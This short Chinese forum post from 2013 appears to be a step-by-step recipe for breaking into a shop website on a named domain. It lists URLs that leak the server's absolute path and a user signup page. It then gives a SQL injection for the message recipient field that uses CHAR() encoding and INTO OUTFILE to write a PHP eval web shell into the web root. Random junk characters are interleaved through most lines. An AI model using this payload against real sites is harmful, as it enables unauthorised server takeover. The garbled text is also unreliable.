第一个：想办法找到目标网站的绝对路径
$ K2 |2 }6 ^, G& K( W S
( o4 e: m0 Z" k) s0 M0 O2 Ghttp://www.political-security.com/install/svinfo.php?phpinfo=true
9 `: M2 j# a) \' x3 c( ]! X+ X' @" Q
http:/www.political-security.com/core/api/shop_api.php
6 P0 |* f( d: a# v6 _" n6 d8 D) g6 _' `
: P* C$ S+ W5 h* \http://www.political-security.co ... api_b2b_2_0_cat.php
1 s& M O% [$ @# u
" y$ q- ?" e9 d; p8 f. i: s; Y. Y' Uhttp://www.political-security.com/core/ap ... b_2_0_goodstype.php0 q; \- J+ ]: {3 d: X0 B
( O0 I$ \# J4 C9 {
http://www.political-security.co ... i_b2b_2_0_brand.php) x: U# ^) k) I0 `
第二个：注册一个普通用户( ~# c( d: [$ n5 B, _7 r
8 v1 H/ a K% Q: I/ ^http://www.political-security.com/?passport-signup.html) w6 w5 D# {0 e
8 G _$ j8 |7 M. F& T5 ?/ W第三个： 发送消息
1 w' y" h k5 T) o: Y1 u2 y5 R* q4 f. j6 N+ v- d/ T
http://www.political-security.com/?member-send.html( |! h: c/ X1 w/ X) c, Z! z
发送给中填写3 c# C4 y7 R9 V: I" `% e4 y; N
antian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对